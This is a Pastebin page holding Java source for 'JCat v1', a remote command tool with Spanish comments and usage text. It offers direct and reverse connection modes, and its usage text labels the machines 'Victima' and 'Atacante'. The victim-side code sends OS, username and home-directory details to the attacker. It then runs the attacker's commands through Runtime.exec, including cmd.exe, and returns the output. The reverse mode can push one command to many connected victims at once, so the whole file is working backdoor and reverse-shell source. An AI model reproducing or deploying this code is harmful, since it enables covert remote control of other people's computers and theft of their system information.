document.write('
Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1.  
  2. import java.io.DataInputStream;
  3. import java.io.DataOutputStream;
  4. import java.io.IOException;
  5. import java.net.ServerSocket;
  6. import java.net.Socket;
  7. import java.io.BufferedReader;
  8. import java.io.InputStreamReader;
  9. import java.util.ArrayList;
  10. import java.util.Random;
  11. import java.net.InetAddress;
  12.  
  13. /*
  14.  * -Conexion Directa- Informacion: nos aprovechamos del flujo de salida del
  15.  * cliente y del de entrada del servidor. Utilizamos el Cliente para enviar
  16.  * datos Salida. El Servidor la recive y la procesa
  17.  *
  18.  * Ventaja: Ninguna.
  19.  *
  20.  * Desventaja: Al reiniciar el router cambiamos de IP y perdemos a la victima
  21.  * hay que abrir un puerto en el router de la victima.
  22.  * -----------------------------------------------------------------------------
  23.  *
  24.  * -Conexion Inversa- Informacion: nos aprovechamos del flujo de salida del
  25.  * Servidor y del de entrada del Cliente. Utilizamos el Servidor para enviar
  26.  * datos por su Salida. El Cliente la recive y la procesa
  27.  *
  28.  * Ventaja: en la victima se predefine nuestra DNS Dinamica (cada x tiempo
  29.  * actualiza la ip a la que esta apuntando y vuelve a apuntar a la nueva) el
  30.  * puerto se habre en nuestro PC
  31.  *
  32.  * Desventaja: el puerto se habre en nuestro PC.
  33.  *
  34.  */
  35. class JCat {
  36.  
  37.     public static int Port;
  38.     public static String IP;
  39.  
  40.     public static void main(String[] args) {
  41.  
  42.         if (true) {
  43.             if (args.length > 0) {
  44.                 //if (argsS1.equals("1") && argsS2.equals("1")) {
  45.                 if (args[0].equals("1") && args[1].equals("1")) {
  46.  
  47.                     ConexionDirectaServidor a = new ConexionDirectaServidor();
  48.                     a.start();
  49.                 }
  50.                 //if (argsS1.equals("1") && argsS2.equals("2")) {
  51.                 if (args[0].equals("1") && args[1].equals("2")) {
  52.                     ConexionDirectaCliente a = new ConexionDirectaCliente();
  53.                     a.start();
  54.                 }
  55.                 //if (argsS1.equals("2") && argsS2.equals("1")) {
  56.                 if (args[0].equals("2") && args[1].equals("1")) {
  57.                     ConexionInversaServidor a = new ConexionInversaServidor();
  58.                     a.setMode(2);
  59.                     a.start();
  60.  
  61.                 }
  62.                 //if (argsS1.equals("2") && argsS2.equals("2")) {
  63.                 if (args[0].equals("2") && args[1].equals("2")) {
  64.                     ConexionInversaCliente a = new ConexionInversaCliente();
  65.                     a.start();
  66.                 }
  67.  
  68.                 if(args[2] != null){
  69.                     Port = (Integer.parseInt(args[2]));
  70.  
  71.                 }
  72.  
  73.                 try{
  74.                     if(args[3] != null){
  75.                         IP = args[3];
  76.                     }else{
  77.                         IP = "";
  78.                     }
  79.                 }catch(ArrayIndexOutOfBoundsException e){}
  80.  
  81.             }else {
  82.                 System.out.println("                                    ");
  83.                 System.out.println("                                Uo              ");
  84.                 System.out.println("                                Mb$QU               ");
  85.                 System.out.println("                           MMMMMMMMMMMM$            ");
  86.                 System.out.println("                         MMMMMMMMMMMM@$EIMMMMMMMMMM#        ");
  87.                 System.out.println("                   MMMMMMMMMMMMMMMMMMMMMMMMMMMMzi..v#M@     ");
  88.                 System.out.println("               MMMMMMMMMMMM@M@@@@@@#@$#$@MMMMM#@MME  :MM@       ");
  89.                 System.out.println("           0@MMMMMMM@@@MMMMMMMMMMMMMMMMMMMMMM91@MMMMi iM#@      ");
  90.                 System.out.println("          MMMMMMM#@MMMMMMMMMMMMMMMMMMMMMMMMMM  .MMMME  M#Q@     ");
  91.                 System.out.println("        #MMMMM#@MMMMMMMMMMMMMMMMMMMMMMMMMMMMM$BMMMM$  8MWQE$M   ");
  92.                 System.out.println("       AMMMM#@MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM@97c:   0MWWEE9W   ");
  93.                 System.out.println("      :MMM#@MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM@MM#IoU#MMBBWW0Q6,..    ");
  94.                 System.out.println("     CMMM#MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM@MMMMMM@$#$$WE7:,,.    ");
  95.                 System.out.println("    .MMM#MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM@@#087i....      ");
  96.                 System.out.println("    MMM@MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM0niictYYvcv;,..              ");
  97.                 System.out.println("   0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMB:....                          ");
  98.                 System.out.println("   MMMMMMMMMMMMMMMMMMMMMMMMMM0t7MMMMM,.;i,.                         ");
  99.                 System.out.println("  XMMMMMMMMMMMMMMMMMMMMMM8Y,    ,MMMM#.,;i..                        ");
  100.                 System.out.println("  MMMMMMMMMMMMMMMMMMMMM#c.  ...  .MMMM8 ,;i..                       ");
  101.                 System.out.println("  MMMMMMMMMMMMMMMMMMMMMMMMM$7..,.  QMM@b..ii..                      ");
  102.                 System.out.println("  MMMMMMMMMMMMMMMMMMMMMMMMMMM@z,,:  :b$$QY;i,..                 ");
  103.                 System.out.println("  MMMMMMMMMMMMMMMMMMMMMMMMMMMMM@Y YE BWEbWE;i,..            ");
  104.                 System.out.println("  MMMMMMMMMMMMM7.......,72B@MMMMMzQ@@@MM$o9;i,..            ");
  105.                 System.out.println("  MMMMMMMMMMMM,.,,           ,vb#MM@EA@MM9Y;i,..            ");
  106.                 System.out.println("  MMMMMMMMMMM.,i,.               .6W$1#MMM;i,..             ");
  107.                 System.out.println("  MMMMMMMMMM:,i:.                    1#MMM;i,..             ");
  108.                 System.out.println("  $MMMMMMMMC.ii..                                       ");
  109.                 System.out.println("  YMMMMMMM@,:;,.                                        ");
  110.                 System.out.println("   MMMMMMMU.;i,.                        JCat v1     ");
  111.                 System.out.println("   EMMMMMM7.;i..          ..            Developed by MichB              ");
  112.                 System.out.println("    MMMMMMC.c:,  .I$MM@b1:..:..         18/06/12            ");
  113.                 System.out.println("    XMMMMMz.;;. 7MMWSSA$M@2,.i:,.                   ");
  114.                 System.out.println("     QMMMM@.:;,.MM.     ,b$9,.i:,                                   ");
  115.                 System.out.println("      @MMMM6 :i.0@.  :8C  Ubo..i,.                                  ");
  116.                 System.out.println("       @MMM@z.:.,Z#bE$8,. vSU,.i:.                                  ");
  117.                 System.out.println("        EMMM@bi,..,:..    X1ti.;:.                      ");
  118.                 System.out.println("         ;@MM@#9Xi,.....inzn7,;i,.                                  ");
  119.                 System.out.println("           YW@@##BbEbbZ8A6S7,i:,.                                   ");
  120.                 System.out.println("             .X600QEb6ASCi,...                                      ");
  121.  
  122.                 System.out.println("\\nEjemplo: Cliente envia comandos a Servidor y este le devuelve el resultado\\n");
  123.                 //cliente envia comando y recive respuesta del servidor
  124.                 System.out.println("Servidor Conexion Directa -> java JCat 1 1 5000               <- Victima");
  125.                 System.out.println("Cliente Conexion Directa  -> java JCat 1 2 5000 192.168.12.2  <- Atacante");
  126.  
  127.                 System.out.println("\\nEjemplo: Servidor envia comandos al Cliente y este le devuelve el resultado\\n");
  128.                 //servidor envia comando y recive respuesta del cliente
  129.                 System.out.println("Servidor Conexion Inversa -> java JCat 2 1 5000               <- Atacante");
  130.                 System.out.println("Cliente Conexion Inversa  -> java JCat 2 2 5000 192.168.12.2  <- Victima\\n");
  131.                 System.out.println("\\nModos del Servidor Conexion Inversa: \\n(0) Significa que envia primero un comando al cliente X y otro diferente al cliente Y y asi sucesivamente;");
  132.                 System.out.println("(1) Significa que envia un mismo comando y se ejecuta en todos los clientes conectados X,Y,Z;");
  133.                 System.out.println("\\tNo hay limite de clientes para los 2 Modos\\n");
  134.                 System.exit(-1);
  135.                 //}
  136.             }
  137.         }
  138.     }
  139. }
  140. class ConexionDirectaServidor extends Thread{
  141.  
  142.     private ServerSocket escucha3;
  143.     private Socket conexion3;
  144.     //private static Thread hebraServidor3;
  145.     //private static String mensaje3;
  146.  
  147.     private int veces=0;
  148.     static ArrayList<Integer> HASHs = new ArrayList<Integer>();
  149.  
  150.     ConexionDirectaServidor(){}
  151.  
  152.     ConexionDirectaServidor(int veces){
  153.         this.veces = veces;
  154.     }
  155.  
  156.     public void run () {
  157.  
  158.         try {
  159.             int puerto = JCat.Port;
  160.             //int puerto = 5000;
  161.             escucha3 = new ServerSocket(puerto);
  162.             BufferedReader br = null;
  163.             String sTexto = "";
  164.  
  165.             System.out.println("\\n*---------------------------------*");
  166.             System.out.println("*       Conexión D. SERVIDOR      *");
  167.             System.out.println("*---------------------------------*\\n");
  168.             System.out.println("Escuchando en el puerto: " + puerto +"\\n");
  169.             System.out.println("Servidor a la escucha...\\n");
  170.             System.out.println("\\nEscriba en el Cliente...");
  171.             if(puerto == 0){
  172.                 System.out.println("Muy seguido esperando 3 segundos antes de intentar poner de nuevo el servidor a la escucha\\n");
  173.                 try {
  174.                     this.sleep(3000);
  175.                 } catch (InterruptedException exa) {
  176.                     System.out.println(exa);
  177.                 }
  178.                 System.out.println("Intento: "+veces+"\\n");
  179.                 ConexionDirectaServidor a = new ConexionDirectaServidor(veces++);
  180.                 a.start();
  181.             }
  182.  
  183.             while (true) {
  184.                 conexion3 = escucha3.accept();
  185.                 //DataOutputStream salida = new DataOutputStream(conexion3.getOutputStream());
  186.  
  187.                 Runnable nuevoCliente = new HiloDeCliente(conexion3);
  188.  
  189.                 Thread hilo = new Thread(nuevoCliente);
  190.  
  191.                 hilo.start();
  192.                 try {
  193.                     hilo.sleep(2000);
  194.                 } catch (InterruptedException exa) {
  195.                     System.out.println(exa);
  196.                 }
  197.  
  198.             }
  199.         } catch (IOException ex) {
  200.             System.out.println("Mensaje de Error! -> "+ex);
  201.             if(ex.equals("java.net.BindException: Address already in use")){
  202.                 System.out.println("Posiblemente se encuentra está u otra aplicación ocupando este puerto");
  203.             }
  204.         }
  205.  
  206.     }
  207. }
  208.  
  209. // Implementa Runnable para poder ser lanzada en un hilo aparte
  210. class HiloDeCliente implements Runnable
  211. {
  212.     // En el constructor recibe y guarda los parámetros que sean necesarios.
  213.     // En este caso una lista con toda la conversación y el socket que debe
  214.     // atender.
  215.     private String osName = System.getProperty ( "os.name" );
  216.     private String Arch = System.getProperty ( "os.arch" );
  217.     private String Version = System.getProperty ( "os.version" );
  218.  
  219.     private String SP = System.getProperty ( "sun.os.patch.level" );
  220.     private String Country = System.getProperty ( "user.country" );
  221.     private String dirUserHome = System.getProperty ( "user.home" );
  222.     private String Lang = System.getProperty ( "user.language" );
  223.     private String userName = System.getProperty ( "user.name" );
  224.     private String VersionJV = System.getProperty ( "java.vm.version" );
  225.     private String Direccion;
  226.     private String Direccion2;
  227.     private String[] arrayDatos = {osName, Arch, Version, SP, Country, dirUserHome, Lang, userName, VersionJV, Direccion, Direccion2};
  228.     private Socket conexion3;
  229.     private int HASH;
  230.     public HiloDeCliente(Socket socket)
  231.     {
  232.         try{
  233.             InetAddress address = InetAddress.getLocalHost();
  234.             String Direccion = address.getHostAddress();
  235.             String Direccion2 = address.getCanonicalHostName();
  236.         } catch (java.net.UnknownHostException e) {
  237.         }
  238.         conexion3 = socket;
  239.     }
  240.  
  241.     public void run ()
  242.     {
  243.  
  244.         try {  
  245.             DataInputStream entrada = new DataInputStream(conexion3.getInputStream());
  246.             DataOutputStream salida = new DataOutputStream(conexion3.getOutputStream());
  247.  
  248.             System.out.println("\\nCliente Conectado...");
  249.  
  250.             HASH = entrada.readInt();
  251.             System.out.println("Identificador del Cliente: "+HASH);
  252.  
  253.             if(!ConexionDirectaServidor.HASHs.contains(HASH)){
  254.                 ConexionDirectaServidor.HASHs.add(HASH);
  255.  
  256.                 for(int i=0;i<arrayDatos.length;i++)
  257.                     if(arrayDatos[i]==null)
  258.                         arrayDatos[i]="null";
  259.                 salida.writeUTF("| S.O.: " + arrayDatos[0] + "\\n| Arquitectura: " + arrayDatos[1] + "\\n| Version: " + arrayDatos[2]
  260.                     + "\\n| Service Pack: " + arrayDatos[3] + "\\n| Pais: " + arrayDatos[4] + "\\n| Dir User Home: " + arrayDatos[5] + "\\n| Lenguaje: "
  261.                     + arrayDatos[6] + "\\n| Nombre Usuario: " + arrayDatos[7] + "\\n| Java Version: " + arrayDatos[8] + "\\n| Direccion: " + arrayDatos[9] + "\\n| Direccion2: " + arrayDatos[10]);
  262.             }
  263.  
  264.             String comando = entrada.readUTF();
  265.             System.out.println("Comando del Cliente: " + comando);
  266.             new Ejecutor().executeCommand(comando, false, conexion3);
  267.             // Código para atender al cliente.
  268.         } catch (IOException ex) {
  269.             //System.out.println(ex);
  270.         }
  271.  
  272.         //System.out.println("Cierre de conexion del cliente");
  273.     }
  274.  
  275. }
  276.  
  277. class ConexionDirectaCliente extends Thread {
  278.  
  279.     private Socket conexion4;
  280.     private static Thread hebraServidor4;
  281.     private static String mensaje3;
  282.     private Random rnd = new Random();
  283.     private int HASH;
  284.     private boolean continuar=true;
  285.     private int contador;
  286.     ConexionDirectaCliente(){
  287.         HASH = (rnd.nextInt() * 10000);
  288.         contador=0;
  289.     }
  290.  
  291.     public void run() {
  292.         //System.out.println("Ejemplo Conexion Directa Yo soy Cliente");
  293.         //System.out.println("Solo Envio al Servidor");
  294.         System.out.println("\\n*---------------------------------*");
  295.         System.out.println("*       Conexión D. CLIENTE       *");
  296.         System.out.println("*---------------------------------*\\n");
  297.  
  298.         if(continuar){
  299.             while (true) {
  300.  
  301.                 String ip = JCat.IP;
  302.                 //String ip = "192.168.13.240";
  303.                 int puerto = JCat.Port;
  304.                 //int puerto = 5000;
  305.                 try {
  306.  
  307.                     conexion4 = new Socket(ip, puerto);
  308.                     BufferedReader br = null;
  309.                     String sTexto = "";
  310.  
  311.                     DataInputStream entrada = new DataInputStream(conexion4.getInputStream());
  312.                     DataOutputStream salida = new DataOutputStream(conexion4.getOutputStream());
  313.                     //enviamos
  314.                     salida.writeInt(HASH);
  315.  
  316.                     //salida.writeUTF(System.getProperty("os.name"));
  317.                     //salida.writeUTF(System.getProperty("user.name"));
  318.                     //recivimos
  319.                     //System.out.println("lo recivo yo el Cliente " + entrada.readUTF());
  320.  
  321.                     br = new BufferedReader(new InputStreamReader(System.in));
  322.  
  323.                     System.out.println("Conectado al Servidor...\\n");
  324.                     System.out.println("-----------------------------------");
  325.                     System.out.println("| Mi Identificador: "+HASH);
  326.                     System.out.println("-----------------------------------");
  327.  
  328.                     if(contador==0){
  329.  
  330.                         System.out.println("| [+] Información del Servidor [+] |");
  331.                         System.out.println("-----------------------------------");
  332.                         System.out.println(entrada.readUTF());
  333.                         System.out.println("-----------------------------------");
  334.                         contador++;
  335.                     }
  336.                     try {
  337.                         System.out.printf("\\tComando: %s",sTexto = br.readLine());
  338.  
  339.                         //enviamos
  340.                         salida.writeUTF(sTexto);
  341.                     } catch (IOException io) {
  342.                         io.printStackTrace();
  343.                     }
  344.                     //COMANDOS
  345.                     System.out.println(entrada.readUTF());
  346.  
  347.                 } catch (IOException ex) {
  348.  
  349.                     //break;
  350.                     if(ex.getMessage().equals("Can\'t assign requested address")){
  351.  
  352.                         System.out.println("Muy seguido esperando 3 segundos antes de intentar conectar de nuevo con el servidor\\n");
  353.                         try {
  354.                             this.sleep(3000);
  355.                         } catch (InterruptedException exa) {
  356.                             System.out.println(exa);
  357.                         }
  358.  
  359.                         ConexionDirectaCliente a = new ConexionDirectaCliente();
  360.                         a.start();
  361.                         continuar =  false;
  362.                         break;
  363.                     }
  364.                 }
  365.  
  366.             }
  367.         }
  368.     }
  369. }
  370.  
  371. class ConexionInversaServidor extends Thread {
  372.     private ServerSocket escucha3;
  373.     static Socket conexion3;
  374.     //private static Thread hebraServidor3;
  375.     //private static String mensaje3;
  376.     //private String MSJ=null;
  377.  
  378.     //static primera a;
  379.     //static String textoTeclado;
  380.     static ArrayList<Integer> HASHs = new ArrayList<Integer>();
  381.     static ArrayList<Socket> p = new ArrayList<Socket>();
  382.  
  383.     static int Mode;
  384.     private boolean continuar=true;
  385.     private int HASH;
  386.     boolean debugging=true;
  387.     int contador=0;
  388.     public void setMode(int predefinido){
  389.  
  390.         try{
  391.             try{
  392.                 if(predefinido==2){
  393.                     BufferedReader br = null;
  394.                     String sTexto="";
  395.                     System.out.println("\\nMode: (0)[ 1 a 1; 1 a 2; etc ], (1)[ Multicast 1 a todos]");
  396.                     br = new BufferedReader(new InputStreamReader(System.in));
  397.  
  398.                     System.out.printf("\\tModo: (%s) \\n",sTexto = br.readLine());
  399.                     Mode=Integer.parseInt(sTexto);
  400.                 }else{
  401.                     Mode=predefinido;
  402.                 }
  403.  
  404.             } catch (NumberFormatException exe) {
  405.                 System.out.println("Mensaje de Error! -> "+exe.getMessage());
  406.             }
  407.         } catch (IOException ex) {
  408.             System.out.println("Mensaje de Error! -> "+ex.getMessage()+" Se espera 0 o 1");
  409.         }
  410.     }
  411.  
  412.     public void run() {
  413.         try {
  414.  
  415.             int puerto = JCat.Port;
  416.             escucha3 = new ServerSocket(puerto);
  417.  
  418.             System.out.println("\\n*---------------------------------*");
  419.             System.out.println("*       Conexión I. SERVIDOR      *");
  420.             System.out.println("*---------------------------------*\\n");
  421.             System.out.println("Escuchando en el puerto: " + puerto +"\\n");
  422.             if(puerto == 0){
  423.                 continuar =  false;
  424.                 System.out.println("Muy seguido espera 3 segundos antes de poner de nuevo el servidor a la escucha\\n");
  425.                 try {
  426.                     this.sleep(3000);
  427.                 } catch (InterruptedException exa) {
  428.                     System.out.println(exa);
  429.                 }
  430.                 ConexionInversaServidor a = new ConexionInversaServidor();
  431.                 a.setMode(Mode);
  432.                 a.start();
  433.  
  434.             }
  435.             if(continuar){
  436.                 System.out.println("Servidor a la escucha...\\n");
  437.                 Teclado Teclad = new Teclado();
  438.                 Teclad.start();
  439.                 while (true) {
  440.  
  441.                     conexion3 = escucha3.accept();
  442.                     DataOutputStream salida = new DataOutputStream(conexion3.getOutputStream());
  443.                     DataInputStream entrada = new DataInputStream(conexion3.getInputStream());
  444.                     //System.out.println("INICIO");
  445.                     HASH =entrada.readInt();
  446.  
  447.                     System.out.println("-----------------------------------");
  448.                     System.out.println("| ID Cliente: "+HASH);
  449.                     System.out.println("-----------------------------------");
  450.  
  451.                     if(!HASHs.contains(HASH)){
  452.                     HASHs.add(HASH);
  453.                     System.out.println("| [+] Información del Cliente [+] |");
  454.                     System.out.println("-----------------------------------");
  455.                     System.out.println(entrada.readUTF());
  456.                     System.out.println("-----------------------------------");
  457.  
  458.                     }
  459.                    
  460.                     if(contador==0){
  461.  
  462.                         contador++;
  463.                     }
  464.  
  465.                     //System.out.println("Tamaño -> "+p.size() );
  466.                     primera Conexion = new primera(conexion3);
  467.  
  468.                     //Thread hilo1 = new Thread(Conexion);
  469.                     Conexion.start();
  470.  
  471.                     p.add(conexion3);
  472.                     if(debugging)
  473.                         System.out.println("añadidos al array "+p.size());
  474.                     //System.out.println("FIN");
  475.  
  476.                 }
  477.             }
  478.         } catch (IOException ex) {
  479.             ex.printStackTrace();
  480.         }
  481.     }
  482.  
  483.     static public void envioTextoTeclado0(String sTexto) {
  484.  
  485.         //System.out.println("Comprobacion 2 Tamaño -> "+p.size() );
  486.  
  487.         if(Mode == 0){
  488.             try{
  489.                 for(int i=0;i<p.size();i++){
  490.                     Socket con = p.get(i);
  491.  
  492.                     //System.out.println("Cliente: "+i);
  493.                     DataOutputStream salida = new DataOutputStream(con.getOutputStream());
  494.                     DataInputStream entrada = new DataInputStream(con.getInputStream());
  495.  
  496.                     salida.writeUTF(sTexto);
  497.                     System.out.println(entrada.readUTF());
  498.  
  499.                     synchronized (p.get(i)) {
  500.                         //System.out.println("Soy 2 desperte a uno");
  501.                         p.get(i).notify();
  502.                         //System.out.println("Soy 2 y continua uno");
  503.  
  504.                     }
  505.  
  506.                     p.remove(p.get(i));
  507.  
  508.                 }
  509.                 //System.out.println("hashcode -> "+p.get(0).hashCode() );
  510.                 //System.out.println("hashcode -> "+p.get(1).hashCode() );
  511.  
  512.             } catch (IOException ex) {
  513.                 ex.printStackTrace();
  514.             }
  515.         }
  516.         if(Mode == 1){
  517.             try{
  518.                 for(int i=0;i<p.size();i++){
  519.  
  520.                     Socket con = p.get(i);
  521.  
  522.                     //System.out.println("Cliente: "+i);
  523.                     DataOutputStream salida = new DataOutputStream(con.getOutputStream());
  524.                     DataInputStream entrada = new DataInputStream(con.getInputStream());
  525.  
  526.                     salida.writeUTF(sTexto);
  527.                     System.out.println(entrada.readUTF());
  528.  
  529.                 }
  530.                 for(int i=0;i<p.size();i++){
  531.                     synchronized (p.get(i)) {
  532.  
  533.                         //System.out.println("Soy 2 desperte a uno");
  534.                         p.get(i).notify();
  535.  
  536.                         //System.out.println("Soy 2 y continua uno");
  537.                     }
  538.                 }
  539.  
  540.                 //p.remove(p.get(0));
  541.                 //p.remove(p.get(1));
  542.  
  543.                 //System.out.println("hashcode -> "+p.get(0).hashCode() );
  544.                 //System.out.println("hashcode -> "+p.get(1).hashCode() );
  545.  
  546.             } catch (IOException ex) {
  547.                 ex.printStackTrace();
  548.             }
  549.         }
  550.     }
  551.     /**
  552.  
  553.      */
  554.  
  555. }
  556. class primera extends Thread {
  557.     private Socket conexion3;
  558.     boolean debugging=true;
  559.     primera(Socket socket){
  560.         conexion3 = socket;
  561.         if(debugging)
  562.             System.out.println("Me llamo "+getName());
  563.     }
  564.  
  565.     public void run() {
  566.         synchronized (conexion3) {
  567.  
  568.             if(debugging)
  569.                 System.out.println("uno me voy a dormir");
  570.  
  571.             try {
  572.                 conexion3.wait();
  573.  
  574.             } catch (InterruptedException ex) {
  575.  
  576.                 System.out.println(ex);
  577.             }
  578.  
  579.             if(debugging)
  580.                 System.out.println("uno me desperte");
  581.  
  582.             if(ConexionInversaServidor.Mode == 1){
  583.                 if(debugging)
  584.                     System.out.println(ConexionInversaServidor.p.get(0).hashCode());
  585.  
  586.                 ConexionInversaServidor.p.remove(ConexionInversaServidor.p.get(0));
  587.  
  588.                 if(debugging)
  589.                     System.out.println("Tamaño reducido: "+ConexionInversaServidor.p.size()+"\\n");
  590.  
  591.             }
  592.         }
  593.     }
  594. }
  595.  
  596. class Teclado extends Thread
  597. {
  598.     private BufferedReader br = null;
  599.     private String sTexto = "";
  600.     private int contador=0;
  601.  
  602.     public void run(){
  603.         boolean t=true;
  604.         while(t){
  605.             try{
  606.                 System.out.println("nombre:"+getName());
  607.                 try {
  608.                     this.sleep(300);
  609.                 } catch (InterruptedException exa) {
  610.                     System.out.println(exa);
  611.                 }
  612.                 System.out.println("Teclee Comandos:");
  613.                 br = new BufferedReader(new InputStreamReader(System.in));
  614.  
  615.                 System.out.printf("\\tComando: %s \\n",sTexto = br.readLine());
  616.  
  617.                 if(sTexto=="fin"){
  618.                     t=false;
  619.                     System.exit(-1);
  620.                 }
  621.                 ConexionInversaServidor.envioTextoTeclado0(sTexto);
  622.  
  623.             } catch (IOException ex) {
  624.                 System.out.println(ex);
  625.             }
  626.         }
  627.  
  628.     }
  629. }
  630. class ConexionInversaCliente extends Thread {
  631.     private Socket conexion4;
  632.     private static Thread hebraServidor4;
  633.  
  634.     private Random rnd = new Random();
  635.     private int HASH;
  636.     private int contador;
  637.     private String osName = System.getProperty ( "os.name" );
  638.     private String Arch = System.getProperty ( "os.arch" );
  639.     private String Version = System.getProperty ( "os.version" );
  640.  
  641.     private String SP = System.getProperty ( "sun.os.patch.level" );
  642.     private String Country = System.getProperty ( "user.country" );
  643.     private String dirUserHome = System.getProperty ( "user.home" );
  644.     private String Lang = System.getProperty ( "user.language" );
  645.     private String userName = System.getProperty ( "user.name" );
  646.     private String VersionJV = System.getProperty ( "java.vm.version" );
  647.  
  648.     private String[] arrayDatos = {osName, Arch, Version, SP, Country, dirUserHome, Lang, userName, VersionJV};
  649.  
  650.     ConexionInversaCliente(){
  651.         HASH = (rnd.nextInt() * 10000);
  652.         contador=0;
  653.     }
  654.  
  655.     public void run() {
  656.         String ip = JCat.IP;
  657.         int puerto = JCat.Port;
  658.         try {
  659.             System.out.println("\\n*---------------------------------*");
  660.             System.out.println("*       Conexión I. CLIENTE       *");
  661.             System.out.println("*---------------------------------*");
  662.             while (true) {
  663.  
  664.             conexion4 = new Socket(ip, puerto);
  665.  
  666.             try {
  667.                 DataInputStream entrada = new DataInputStream(conexion4.getInputStream());
  668.                
  669.                 DataOutputStream salida = new DataOutputStream(conexion4.getOutputStream());
  670.  
  671.                 salida.writeInt(HASH);
  672.  
  673.                 if(contador==0){
  674.                 contador++;
  675.                 for(int i=0;i<arrayDatos.length;i++)
  676.                 if(arrayDatos[i]==null)
  677.                 arrayDatos[i]="null";
  678.                 salida.writeUTF("| S.O.: " + arrayDatos[0] + "\\n| Arquitectura: " + arrayDatos[1] + "\\n| Version: " + arrayDatos[2]
  679.                 + "\\n| Service Pack: " + arrayDatos[3] + "\\n| Pais: " + arrayDatos[4] + "\\n| Dir User Home: " + arrayDatos[5] + "\\n| Lenguaje: "
  680.                 + arrayDatos[6] + "\\n| Nombre Usuario: " + arrayDatos[7] + "\\n| Java Version: " + arrayDatos[8]);
  681.                 }
  682.                
  683.                 System.out.println("\\nConexion realizada...");
  684.                 System.out.println("\\nEscriba en el Servidor...");
  685.                 System.out.println("Mi Identificador: "+HASH);
  686.  
  687.                 String comando = entrada.readUTF();
  688.  
  689.                 System.out.println("Comando del Cliente: " + comando);
  690.                 new Ejecutor().executeCommand(comando, false, conexion4);
  691.                 try {
  692.                     this.sleep(2000);
  693.                 } catch (InterruptedException exa) {
  694.                     System.out.println(exa);
  695.                 }
  696.             } catch (IOException ex) {
  697.                 System.out.println(ex.getMessage());
  698.             }
  699.  
  700.             }
  701.         } catch (IOException ex) {
  702.             System.out.println("Mensaje de Error! -> "+ex.getMessage());
  703.             if(ex.getMessage().equals("Can\'t assign requested address")){
  704.                 System.out.println("Muy seguido esperando 3 segundos antes de intentar conectar de nuevo con el servidor\\n");
  705.                 try {
  706.                     this.sleep(3000);
  707.                 } catch (InterruptedException exa) {
  708.                     System.out.println(exa);
  709.                 }
  710.  
  711.                 ConexionInversaCliente a = new ConexionInversaCliente();
  712.                 a.start();
  713.             }
  714.             if(ex.getMessage().equals("Connection refused")){
  715.  
  716.                 System.out.println("No encontrado servidor a la escucha\\n");
  717.             }
  718.         }
  719.  
  720.     }
  721. }
  722.  
  723. class Ejecutor{
  724.     private String commandShell;
  725.     private Socket conexion3;
  726.     public void executeCommand(String command, boolean flagbackground, Socket socket)  {
  727.  
  728.         commandShell = null;
  729.         conexion3 = socket;
  730.         try {
  731.             DataOutputStream salida = new DataOutputStream(conexion3.getOutputStream());
  732.  
  733.             String osName = System.getProperty("os.name");
  734.  
  735.             if (osName.equals("Windows NT")) {
  736.                 commandShell = "cmd.exe /C " + command;
  737.             } else if (osName.equals("Windows 95") || osName.equals("Windows 98")) {
  738.                 commandShell = "start " + command;
  739.             } else {
  740.  
  741.                 if (flagbackground) {
  742.                     commandShell = "" + command + " &";
  743.                 } else {
  744.                     commandShell = "" + command;
  745.                 }
  746.             }
  747.  
  748.             try {
  749.                 Process proc = Runtime.getRuntime().exec(commandShell);
  750.                 BufferedReader brStdOut = new BufferedReader(new InputStreamReader(proc.getInputStream()));
  751.                 BufferedReader brStdErr = new BufferedReader(new InputStreamReader(proc.getErrorStream()));
  752.                 String str;String strTodo= "";
  753.                 while ((str = brStdOut.readLine()) != null) {
  754.  
  755.                     strTodo+=str+"\\n";  
  756.                 }
  757.  
  758.                 salida.writeUTF("\\tResponse: "+strTodo);
  759.                 brStdOut.close();
  760.                 brStdErr.close();
  761.             } catch (IOException eproc) {
  762.                 System.out.println("Comando desconocido ");
  763.                 salida.writeUTF("\\tResponse: Comando desconocido\\n");
  764.  
  765.             }
  766.         } catch (IOException ex) {
  767.  
  768.             System.out.println(ex.getMessage());
  769.         }
  770.  
  771.     }
  772. }
');